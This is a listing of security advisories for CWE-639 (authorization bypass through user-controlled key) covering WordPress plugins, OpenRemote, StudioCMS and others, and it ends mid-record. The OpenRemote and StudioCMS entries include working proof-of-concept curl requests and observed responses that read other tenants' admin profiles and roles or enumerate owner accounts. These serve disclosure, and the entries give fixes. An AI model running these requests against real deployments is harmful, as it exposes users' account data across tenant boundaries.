CWE-639
AllowedAuthorization Bypass Through User-Controlled Key
Abstraction: Base · Status: Incomplete
The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.
3206 vulnerabilities reference this CWE, most recent first.
GHSA-XQQC-58QJ-9W8R
Vulnerability from github – Published: 2026-04-24 06:31 – Updated: 2026-04-24 06:31The MaxiBlocks Builder plugin for WordPress is vulnerable to arbitrary media file deletion due to insufficient file ownership validation on the 'maxi_remove_custom_image_size' AJAX action in all versions up to, and including, 2.1.8. This makes it possible for authenticated attackers, with Author-level access and above, to delete arbitrary files in the wp-content/uploads directory, including files uploaded by other users and administrators.
{
"affected": [],
"aliases": [
"CVE-2026-2028"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-24T04:16:09Z",
"severity": "MODERATE"
},
"details": "The MaxiBlocks Builder plugin for WordPress is vulnerable to arbitrary media file deletion due to insufficient file ownership validation on the \u0027maxi_remove_custom_image_size\u0027 AJAX action in all versions up to, and including, 2.1.8. This makes it possible for authenticated attackers, with Author-level access and above, to delete arbitrary files in the wp-content/uploads directory, including files uploaded by other users and administrators.",
"id": "GHSA-xqqc-58qj-9w8r",
"modified": "2026-04-24T06:31:16Z",
"published": "2026-04-24T06:31:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2028"
},
{
"type": "WEB",
"url": "https://github.com/maxi-blocks/maxi-blocks/commit/3dff1db57bfb4e6c14fa7fd42037178d1d0ce199"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/maxi-blocks/tags/2.1.7/core/class-maxi-image-crop.php#L44"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/maxi-blocks/trunk/core/class-maxi-image-crop.php#L44"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3476709/maxi-blocks/trunk/core/class-maxi-image-crop.php"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3476709%40maxi-blocks\u0026new=3476709%40maxi-blocks\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f50c31df-56d0-4c34-a93c-56198fe91b36?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XQR9-4WVV-GVCH
Vulnerability from github – Published: 2026-07-06 20:47 – Updated: 2026-07-06 20:47Summary
A realm admin of tenant B can read the profile, client roles, and realm roles of any user in any other realm (including the master realm) by supplying the target user's UUID in the REST API path. Three read endpoints in UserResourceImpl check whether the caller holds the read:admin role but omit a check that the target user belongs to the caller's own realm. The vulnerability enables cross-tenant user enumeration and privilege-level reconnaissance. On a multi-tenant deployment the master realm administrator account is reachable from any tenant realm admin.
Details
The affected file is manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java.
Three methods are missing an authenticated-realm guard:
get (line 102):
public User get(RequestParams requestParams, String realm, String userId) {
boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID);
if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) {
throw new ForbiddenException("...");
}
try {
return identityService.getIdentityProvider().getUser(userId);
} ...
}
The realm path parameter is accepted but never used. getUser(userId) delegates to getUserByIdFromDb(persistenceService, userId) which queries the database by UUID with no realm filter.
getUserClientRoles (line 294):
public String[] getUserClientRoles(RequestParams requestParams, String realm, String userId, String clientId) {
boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID);
if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) {
throw new ForbiddenException("...");
}
try {
return identityService.getIdentityProvider().getUserClientRoles(realm, userId, clientId);
} ...
}
getUserRealmRoles (line 313):
public String[] getUserRealmRoles(RequestParams requestParams, String realm, String userId) {
boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID);
if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) {
throw new ForbiddenException("...");
}
try {
return identityService.getIdentityProvider().getUserRealmRoles(realm, userId);
} ...
}
By contrast, all write-side methods in the same file invoke throwIfCannotAdminRealm(realm) (lines 175, 190, 264, 333, 351, 386) which calls authContext.isRealmAccessibleByUser(realm), correctly enforcing the realm boundary. The read methods were not updated when this guard was added for the write paths.
The existing GHSA-49vv-25qx-mg44 (Improper Access Control in UserResourceImpl, patched April 2026) fixed the updateUserRealmRoles write path. The read methods in the same class remain unpatched at HEAD.
PoC
Prerequisites: two active realms (master and tenantb). The attacker authenticates as a realm-admin-level user of tenantb with read:admin role. Any valid UUID from the master realm suffices as the target userId.
Step 1. Obtain the master admin user UUID (this is typically discoverable from the audit log, API responses, or provisioning records visible to the tenantb admin).
Step 2. Obtain an access token for the tenantb admin:
TENANTB_TOKEN=$(curl -s -X POST \
"https://<host>/auth/realms/tenantb/protocol/openid-connect/token" \
-d "client_id=openremote&grant_type=password&username=tenantb_admin&password=TenantB123!" \
| python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
Step 3. Read a master-realm user profile using the tenantb token:
curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \
"https://<host>/api/tenantb/user/master/f05e9eb4-0de6-45a6-9dc5-088402465e4e"
Observed response from the live test instance (commit 22a42a7, 2026-06-04):
{"realm":"master","realmId":"104856cd-ae5b-4a2d-917a-7e7f700561c8",
"id":"f05e9eb4-0de6-45a6-9dc5-088402465e4e",
"firstName":"System","lastName":"Administrator",
"enabled":true,"createdOn":1780550421390,
"serviceAccount":false,"username":"admin"}
HTTP 200
Step 4. Read master-admin realm roles:
curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \
"https://<host>/api/tenantb/user/master/userRealmRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e"
Observed response:
["admin"]
HTTP 200
Step 5. Read master-admin client roles:
curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \
"https://<host>/api/tenantb/user/master/userRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e/openremote"
Observed response:
["read:alarms","read:logs","write:logs","read:admin","write:insights","read:services",
"write:alarms","write:attributes","write:services","write:user","write:assets",
"read:insights","read:map","read:users","read:assets","read:rules","write",
"write:admin","read","write:rules"]
HTTP 200
All three requests succeed with a tenantb-scoped token against master-realm targets. The HTTP 200 responses confirm the cross-realm boundary is crossed.
A fix would add throwIfCannotAdminRealm(realm) (or an equivalent isRealmAccessibleByUser check) to the three read methods, mirroring the pattern already applied to the write methods.
Impact
Any realm admin (write:admin + read:admin roles) in a non-master tenant can enumerate user accounts, email addresses, enabled/disabled status, and the full set of Keycloak roles for any user in any other realm, including the privileged master realm. This exposes admin account identities and role assignments that would assist targeted attacks (credential stuffing, social engineering, escalation via the already-documented write path). On hosted or shared OpenRemote deployments where multiple organizations are separated into different realms, this breaks tenant isolation for user data.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.openremote:openremote-manager"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.24.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54641"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-06T20:47:57Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nA realm admin of tenant B can read the profile, client roles, and realm roles of any user in any other realm (including the master realm) by supplying the target user\u0027s UUID in the REST API path. Three read endpoints in UserResourceImpl check whether the caller holds the read:admin role but omit a check that the target user belongs to the caller\u0027s own realm. The vulnerability enables cross-tenant user enumeration and privilege-level reconnaissance. On a multi-tenant deployment the master realm administrator account is reachable from any tenant realm admin.\n\n### Details\n\nThe affected file is manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java.\n\nThree methods are missing an authenticated-realm guard:\n\nget (line 102):\n\n public User get(RequestParams requestParams, String realm, String userId) {\n boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID);\n if (!hasAdminReadRole \u0026\u0026 !Objects.equals(getUserId(), userId)) {\n throw new ForbiddenException(\"...\");\n }\n try {\n return identityService.getIdentityProvider().getUser(userId);\n } ...\n }\n\nThe realm path parameter is accepted but never used. getUser(userId) delegates to getUserByIdFromDb(persistenceService, userId) which queries the database by UUID with no realm filter.\n\ngetUserClientRoles (line 294):\n\n public String[] getUserClientRoles(RequestParams requestParams, String realm, String userId, String clientId) {\n boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID);\n if (!hasAdminReadRole \u0026\u0026 !Objects.equals(getUserId(), userId)) {\n throw new ForbiddenException(\"...\");\n }\n try {\n return identityService.getIdentityProvider().getUserClientRoles(realm, userId, clientId);\n } ...\n }\n\ngetUserRealmRoles (line 313):\n\n public String[] getUserRealmRoles(RequestParams requestParams, String realm, String userId) {\n boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID);\n if (!hasAdminReadRole \u0026\u0026 !Objects.equals(getUserId(), userId)) {\n throw new ForbiddenException(\"...\");\n }\n try {\n return identityService.getIdentityProvider().getUserRealmRoles(realm, userId);\n } ...\n }\n\nBy contrast, all write-side methods in the same file invoke throwIfCannotAdminRealm(realm) (lines 175, 190, 264, 333, 351, 386) which calls authContext.isRealmAccessibleByUser(realm), correctly enforcing the realm boundary. The read methods were not updated when this guard was added for the write paths.\n\nThe existing GHSA-49vv-25qx-mg44 (Improper Access Control in UserResourceImpl, patched April 2026) fixed the updateUserRealmRoles write path. The read methods in the same class remain unpatched at HEAD.\n\n### PoC\n\nPrerequisites: two active realms (master and tenantb). The attacker authenticates as a realm-admin-level user of tenantb with read:admin role. Any valid UUID from the master realm suffices as the target userId.\n\nStep 1. Obtain the master admin user UUID (this is typically discoverable from the audit log, API responses, or provisioning records visible to the tenantb admin).\n\nStep 2. Obtain an access token for the tenantb admin:\n\n TENANTB_TOKEN=$(curl -s -X POST \\\n \"https://\u003chost\u003e/auth/realms/tenantb/protocol/openid-connect/token\" \\\n -d \"client_id=openremote\u0026grant_type=password\u0026username=tenantb_admin\u0026password=TenantB123!\" \\\n | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027access_token\u0027])\")\n\nStep 3. Read a master-realm user profile using the tenantb token:\n\n curl -s -H \"Authorization: Bearer $TENANTB_TOKEN\" \\\n \"https://\u003chost\u003e/api/tenantb/user/master/f05e9eb4-0de6-45a6-9dc5-088402465e4e\"\n\nObserved response from the live test instance (commit 22a42a7, 2026-06-04):\n\n {\"realm\":\"master\",\"realmId\":\"104856cd-ae5b-4a2d-917a-7e7f700561c8\",\n \"id\":\"f05e9eb4-0de6-45a6-9dc5-088402465e4e\",\n \"firstName\":\"System\",\"lastName\":\"Administrator\",\n \"enabled\":true,\"createdOn\":1780550421390,\n \"serviceAccount\":false,\"username\":\"admin\"}\n HTTP 200\n\nStep 4. Read master-admin realm roles:\n\n curl -s -H \"Authorization: Bearer $TENANTB_TOKEN\" \\\n \"https://\u003chost\u003e/api/tenantb/user/master/userRealmRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e\"\n\nObserved response:\n\n [\"admin\"]\n HTTP 200\n\nStep 5. Read master-admin client roles:\n\n curl -s -H \"Authorization: Bearer $TENANTB_TOKEN\" \\\n \"https://\u003chost\u003e/api/tenantb/user/master/userRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e/openremote\"\n\nObserved response:\n\n [\"read:alarms\",\"read:logs\",\"write:logs\",\"read:admin\",\"write:insights\",\"read:services\",\n \"write:alarms\",\"write:attributes\",\"write:services\",\"write:user\",\"write:assets\",\n \"read:insights\",\"read:map\",\"read:users\",\"read:assets\",\"read:rules\",\"write\",\n \"write:admin\",\"read\",\"write:rules\"]\n HTTP 200\n\nAll three requests succeed with a tenantb-scoped token against master-realm targets. The HTTP 200 responses confirm the cross-realm boundary is crossed.\n\nA fix would add throwIfCannotAdminRealm(realm) (or an equivalent isRealmAccessibleByUser check) to the three read methods, mirroring the pattern already applied to the write methods.\n\n### Impact\n\nAny realm admin (write:admin + read:admin roles) in a non-master tenant can enumerate user accounts, email addresses, enabled/disabled status, and the full set of Keycloak roles for any user in any other realm, including the privileged master realm. This exposes admin account identities and role assignments that would assist targeted attacks (credential stuffing, social engineering, escalation via the already-documented write path). On hosted or shared OpenRemote deployments where multiple organizations are separated into different realms, this breaks tenant isolation for user data.",
"id": "GHSA-xqr9-4wvv-gvch",
"modified": "2026-07-06T20:47:57Z",
"published": "2026-07-06T20:47:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openremote/openremote/security/advisories/GHSA-xqr9-4wvv-gvch"
},
{
"type": "WEB",
"url": "https://github.com/openremote/openremote/commit/de89b8d3af272d717bf297934c2cbc97243f08b7"
},
{
"type": "PACKAGE",
"url": "https://github.com/openremote/openremote"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "OpenRemote has Cross-Realm User Information Disclosure in UserResourceImpl"
}
GHSA-XR34-4J63-XFH6
Vulnerability from github – Published: 2026-06-26 15:32 – Updated: 2026-06-26 15:32Contributor Insecure Direct Object References (IDOR) in PPWP <= 1.9.19 versions.
{
"affected": [],
"aliases": [
"CVE-2026-57634"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-26T15:16:50Z",
"severity": "MODERATE"
},
"details": "Contributor Insecure Direct Object References (IDOR) in PPWP \u003c= 1.9.19 versions.",
"id": "GHSA-xr34-4j63-xfh6",
"modified": "2026-06-26T15:32:17Z",
"published": "2026-06-26T15:32:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57634"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/password-protect-page/vulnerability/wordpress-ppwp-plugin-1-9-19-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XRVF-M29V-829X
Vulnerability from github – Published: 2023-07-06 21:15 – Updated: 2024-04-04 05:48An Authorization Bypass vulnerability was found in MB Connect Lines mbCONNECT24, mymbCONNECT24 and Helmholz' myREX24 and myREX24.virtual version <= 2.13.3. An authenticated remote user with low privileges can change the password of any user in the same account. This allows to take over the admin user and therefore fully compromise the account.
{
"affected": [],
"aliases": [
"CVE-2023-0985"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-06T11:15:09Z",
"severity": "HIGH"
},
"details": "An Authorization Bypass vulnerability was found in MB Connect Lines\u00a0mbCONNECT24, mymbCONNECT24 and Helmholz\u0027 myREX24 and myREX24.virtual version \u003c= 2.13.3.\u00a0An authenticated remote user with low privileges can change the password of any user in the same account. This allows to take over the admin user and therefore fully compromise the account.",
"id": "GHSA-xrvf-m29v-829x",
"modified": "2024-04-04T05:48:51Z",
"published": "2023-07-06T21:15:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-0985"
},
{
"type": "WEB",
"url": "https://cert.vde.com/en/advisories/VDE-2023-002"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XV2W-X5XM-9J74
Vulnerability from github – Published: 2022-12-12 18:30 – Updated: 2022-12-15 00:30The Directorist WordPress plugin before 7.4.2.2 suffers from an IDOR vulnerability which an attacker can exploit to change the password of arbitrary users instead of his own.
{
"affected": [],
"aliases": [
"CVE-2022-3930"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-12T18:15:00Z",
"severity": "MODERATE"
},
"details": "The Directorist WordPress plugin before 7.4.2.2 suffers from an IDOR vulnerability which an attacker can exploit to change the password of arbitrary users instead of his own.",
"id": "GHSA-xv2w-x5xm-9j74",
"modified": "2022-12-15T00:30:16Z",
"published": "2022-12-12T18:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3930"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/8728d02a-51db-4447-a843-0264b6ceb413"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XV75-C298-2V8F
Vulnerability from github – Published: 2022-05-24 17:24 – Updated: 2024-04-04 02:55iked in OpenIKED, as used in OpenBSD through 6.7, allows authentication bypass because ca.c has the wrong logic for checking whether a public key matches.
{
"affected": [],
"aliases": [
"CVE-2020-16088"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-07-28T12:15:00Z",
"severity": "CRITICAL"
},
"details": "iked in OpenIKED, as used in OpenBSD through 6.7, allows authentication bypass because ca.c has the wrong logic for checking whether a public key matches.",
"id": "GHSA-xv75-c298-2v8f",
"modified": "2024-04-04T02:55:20Z",
"published": "2022-05-24T17:24:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-16088"
},
{
"type": "WEB",
"url": "https://github.com/openbsd/src/commit/7afb2d41c6d373cf965285840b85c45011357115"
},
{
"type": "WEB",
"url": "https://ftp.openbsd.org/pub/OpenBSD/patches/6.7/common/014_iked.patch.sig"
},
{
"type": "WEB",
"url": "https://github.com/xcllnt/openiked/commits/master"
},
{
"type": "WEB",
"url": "https://www.openiked.org/security.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XV8M-JW66-QJXM
Vulnerability from github – Published: 2025-09-30 12:30 – Updated: 2025-10-08 18:30Insecure Direct Object Reference (IDOR) vulnerability in BOLD Workplanner in versions prior to 2.5.25 (4935b438f9b), consisting of a lack of adequate validation of user input, allowing an authenticated user to access to basic contract details using unauthorised internal identifiers.
{
"affected": [],
"aliases": [
"CVE-2025-41093"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-30T11:37:39Z",
"severity": "HIGH"
},
"details": "Insecure Direct Object Reference (IDOR) vulnerability in BOLD Workplanner in versions prior to 2.5.25 (4935b438f9b), consisting of a lack of adequate validation of user input, allowing an authenticated user to\u00a0access to\u00a0basic contract details using unauthorised internal identifiers.",
"id": "GHSA-xv8m-jw66-qjxm",
"modified": "2025-10-08T18:30:15Z",
"published": "2025-09-30T12:30:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41093"
},
{
"type": "WEB",
"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/insecure-direct-object-reference-gps-bold-workplanner"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-XVF4-CH4Q-2M24
Vulnerability from github – Published: 2026-03-16 16:37 – Updated: 2026-03-18 21:51Summary
The REST API getUsers endpoint in StudioCMS uses the attacker-controlled rank query parameter to decide whether owner accounts should be filtered from the result set. As a result, an admin token can request rank=owner and receive owner account records, including IDs, usernames, display names, and email addresses, even though the adjacent getUser endpoint correctly blocks admins from viewing owner users. This is an authorization inconsistency inside the same user-management surface.
Details
Vulnerable Code Path
File: D:/bugcrowd/studiocms/repo/packages/studiocms/frontend/pages/studiocms_api/_handlers/rest-api/v1/secure.ts, lines 1605-1647
.handle(
'getUsers',
Effect.fn(
function* ({ urlParams: { name, rank, username } }) {
if (!restAPIEnabled) {
return yield* new RestAPIError({ error: 'Endpoint not found' });
}
const [sdk, user] = yield* Effect.all([SDKCore, CurrentRestAPIUser]);
if (user.rank !== 'owner' && user.rank !== 'admin') {
return yield* new RestAPIError({ error: 'Unauthorized' });
}
const allUsers = yield* sdk.GET.users.all();
let data = allUsers.map(...);
if (rank !== 'owner') {
data = data.filter((user) => user.rank !== 'owner');
}
if (rank) {
data = data.filter((user) => user.rank === rank);
}
return data;
},
The rank variable in if (rank !== 'owner') is the request query parameter, not the caller's privilege level. An admin can therefore pass rank=owner, skip the owner-filtering branch, and then have the second if (rank) branch return only owner accounts.
Adjacent Endpoint Shows Intended Security Boundary
File: D:/bugcrowd/studiocms/repo/packages/studiocms/frontend/pages/studiocms_api/_handlers/rest-api/v1/secure.ts, lines 1650-1710
const existingUserRankIndex = availablePermissionRanks.indexOf(existingUserRank);
const loggedInUserRankIndex = availablePermissionRanks.indexOf(user.rank);
if (loggedInUserRankIndex <= existingUserRankIndex) {
return yield* new RestAPIError({
error: 'Unauthorized to view user with higher rank',
});
}
getUser correctly blocks an admin from viewing an owner record. getUsers bypasses that boundary for bulk enumeration.
Sensitive Fields Returned
The getUsers response includes:
idemailnameusernamerank- timestamps and profile URL/avatar fields when present
This is enough to enumerate all owner accounts and target them for phishing, social engineering, or follow-on attacks against out-of-band workflows.
PoC
HTTP PoC
Use any admin-level REST API token:
curl -X GET 'http://localhost:4321/studiocms_api/rest/v1/secure/users?rank=owner' \
-H 'Authorization: Bearer <admin-api-token>'
Expected behavior:
- owner records should be excluded for admin callers, consistent with getUser
Actual behavior: - the response contains owner user objects, including email addresses and user IDs
Local Validation of the Exact Handler Logic
I validated the filtering logic locally with the same conditions used by getUsers and getUser.
Observed output:
{
"admin_getUsers_rank_owner": [
{
"email": "owner@example.test",
"id": "owner-1",
"name": "Site Owner",
"rank": "owner",
"username": "owner1"
}
],
"admin_getUser_owner": "Unauthorized to view user with higher rank"
}
This demonstrates the authorization mismatch clearly:
- bulk listing with rank=owner exposes owner records
- direct access to a single owner record is denied
Impact
- Owner Account Enumeration: Admin tokens can recover owner user IDs, usernames, display names, and email addresses.
- Authorization Boundary Bypass: The REST collection endpoint bypasses the stricter per-record rank check already implemented by
getUser. - Chaining Value: Exposed owner contact data can support phishing, account-targeting, and admin-to-owner pivot attempts in deployments that treat owner identities as higher-trust principals.
Recommended Fix
Apply rank filtering based on the caller's role, not on the request query parameter, and reuse the same privilege rule as getUser.
Example fix:
const loggedInUserRankIndex = availablePermissionRanks.indexOf(user.rank);
data = data.filter((candidate) => {
const candidateRankIndex = availablePermissionRanks.indexOf(candidate.rank);
return loggedInUserRankIndex > candidateRankIndex;
});
if (rank) {
data = data.filter((candidate) => candidate.rank === rank);
}
At minimum, replace:
if (rank !== 'owner') {
data = data.filter((user) => user.rank !== 'owner');
}
with a check tied to user.rank rather than the query parameter.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.4.3"
},
"package": {
"ecosystem": "npm",
"name": "studiocms"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.4.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32638"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-16T16:37:42Z",
"nvd_published_at": "2026-03-18T21:16:26Z",
"severity": "LOW"
},
"details": "## Summary\n\nThe REST API `getUsers` endpoint in StudioCMS uses the attacker-controlled `rank` query parameter to decide whether owner accounts should be filtered from the result set. As a result, an admin token can request `rank=owner` and receive owner account records, including IDs, usernames, display names, and email addresses, even though the adjacent `getUser` endpoint correctly blocks admins from viewing owner users. This is an authorization inconsistency inside the same user-management surface.\n\n## Details\n\n### Vulnerable Code Path\n\nFile: `D:/bugcrowd/studiocms/repo/packages/studiocms/frontend/pages/studiocms_api/_handlers/rest-api/v1/secure.ts`, lines 1605-1647\n\n```ts\n.handle(\n \u0027getUsers\u0027,\n Effect.fn(\n function* ({ urlParams: { name, rank, username } }) {\n if (!restAPIEnabled) {\n return yield* new RestAPIError({ error: \u0027Endpoint not found\u0027 });\n }\n const [sdk, user] = yield* Effect.all([SDKCore, CurrentRestAPIUser]);\n\n if (user.rank !== \u0027owner\u0027 \u0026\u0026 user.rank !== \u0027admin\u0027) {\n return yield* new RestAPIError({ error: \u0027Unauthorized\u0027 });\n }\n\n const allUsers = yield* sdk.GET.users.all();\n let data = allUsers.map(...);\n\n if (rank !== \u0027owner\u0027) {\n data = data.filter((user) =\u003e user.rank !== \u0027owner\u0027);\n }\n\n if (rank) {\n data = data.filter((user) =\u003e user.rank === rank);\n }\n\n return data;\n },\n```\n\nThe `rank` variable in `if (rank !== \u0027owner\u0027)` is the request query parameter, not the caller\u0027s privilege level. An admin can therefore pass `rank=owner`, skip the owner-filtering branch, and then have the second `if (rank)` branch return only owner accounts.\n\n### Adjacent Endpoint Shows Intended Security Boundary\n\nFile: `D:/bugcrowd/studiocms/repo/packages/studiocms/frontend/pages/studiocms_api/_handlers/rest-api/v1/secure.ts`, lines 1650-1710\n\n```ts\nconst existingUserRankIndex = availablePermissionRanks.indexOf(existingUserRank);\nconst loggedInUserRankIndex = availablePermissionRanks.indexOf(user.rank);\n\nif (loggedInUserRankIndex \u003c= existingUserRankIndex) {\n return yield* new RestAPIError({\n error: \u0027Unauthorized to view user with higher rank\u0027,\n });\n}\n```\n\n`getUser` correctly blocks an admin from viewing an owner record. `getUsers` bypasses that boundary for bulk enumeration.\n\n### Sensitive Fields Returned\n\nThe `getUsers` response includes:\n\n- `id`\n- `email`\n- `name`\n- `username`\n- `rank`\n- timestamps and profile URL/avatar fields when present\n\nThis is enough to enumerate all owner accounts and target them for phishing, social engineering, or follow-on attacks against out-of-band workflows.\n\n## PoC\n\n### HTTP PoC\n\nUse any admin-level REST API token:\n\n```bash\ncurl -X GET \u0027http://localhost:4321/studiocms_api/rest/v1/secure/users?rank=owner\u0027 \\\n -H \u0027Authorization: Bearer \u003cadmin-api-token\u003e\u0027\n```\n\nExpected behavior:\n- owner records should be excluded for admin callers, consistent with `getUser`\n\nActual behavior:\n- the response contains owner user objects, including email addresses and user IDs\n\n### Local Validation of the Exact Handler Logic\n\nI validated the filtering logic locally with the same conditions used by `getUsers` and `getUser`.\n\nObserved output:\n\n```json\n{\n \"admin_getUsers_rank_owner\": [\n {\n \"email\": \"owner@example.test\",\n \"id\": \"owner-1\",\n \"name\": \"Site Owner\",\n \"rank\": \"owner\",\n \"username\": \"owner1\"\n }\n ],\n \"admin_getUser_owner\": \"Unauthorized to view user with higher rank\"\n}\n```\n\nThis demonstrates the authorization mismatch clearly:\n- bulk listing with `rank=owner` exposes owner records\n- direct access to a single owner record is denied\n\n## Impact\n\n- **Owner Account Enumeration:** Admin tokens can recover owner user IDs, usernames, display names, and email addresses.\n- **Authorization Boundary Bypass:** The REST collection endpoint bypasses the stricter per-record rank check already implemented by `getUser`.\n- **Chaining Value:** Exposed owner contact data can support phishing, account-targeting, and admin-to-owner pivot attempts in deployments that treat owner identities as higher-trust principals.\n\n## Recommended Fix\n\nApply rank filtering based on the caller\u0027s role, not on the request query parameter, and reuse the same privilege rule as `getUser`.\n\nExample fix:\n\n```ts\nconst loggedInUserRankIndex = availablePermissionRanks.indexOf(user.rank);\n\ndata = data.filter((candidate) =\u003e {\n const candidateRankIndex = availablePermissionRanks.indexOf(candidate.rank);\n return loggedInUserRankIndex \u003e candidateRankIndex;\n});\n\nif (rank) {\n data = data.filter((candidate) =\u003e candidate.rank === rank);\n}\n```\n\nAt minimum, replace:\n\n```ts\nif (rank !== \u0027owner\u0027) {\n data = data.filter((user) =\u003e user.rank !== \u0027owner\u0027);\n}\n```\n\nwith a check tied to `user.rank` rather than the query parameter.",
"id": "GHSA-xvf4-ch4q-2m24",
"modified": "2026-03-18T21:51:20Z",
"published": "2026-03-16T16:37:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/withstudiocms/studiocms/security/advisories/GHSA-xvf4-ch4q-2m24"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32638"
},
{
"type": "WEB",
"url": "https://github.com/withstudiocms/studiocms/commit/aebe8bcb3618bb07c6753e3f5c982c1fe6adea64"
},
{
"type": "PACKAGE",
"url": "https://github.com/withstudiocms/studiocms"
},
{
"type": "WEB",
"url": "https://github.com/withstudiocms/studiocms/releases/tag/studiocms@0.4.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N",
